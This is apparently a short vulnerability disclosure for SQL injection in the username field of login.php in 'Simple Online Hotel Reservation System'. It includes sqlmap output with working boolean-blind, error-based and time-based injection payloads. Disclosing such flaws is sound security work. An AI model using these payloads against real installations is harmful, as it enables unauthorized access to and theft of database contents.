Simple Online Hotel Reservation System login.php has Sqlinjection

Simple Online Hotel Reservation System login.php has Sqlinjection,The basic introduction of this vulnerability is that SQL injection means that the web application does not judge or filter the validity of user input data strictly.An attacker can add additional SQL statements to the end of the predefined query statements in the web application to achieve illegal operations without the administrator's knowledge, so as to cheat the database server to execute unauthorized arbitrary queries and further obtain the corresponding data information.

SqlMap Attack

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Parameter: username (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING
clause
    Payload: username=admin' AND 7481=7481 AND
'pWNM'='pWNM&password=admin&login=

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING,
ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=admin' AND (SELECT 5649 FROM(SELECT
COUNT(*),CONCAT(0x7171786a71,(SELECT
(ELT(5649=5649,1))),0x716a787871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
'inPV'='inPV&password=admin&login=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query
SLEEP)
    Payload: username=admin' AND (SELECT 4342 FROM
(SELECT(SLEEP(5)))RqYH) AND
'itTJ'='itTJ&password=admin&login=
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```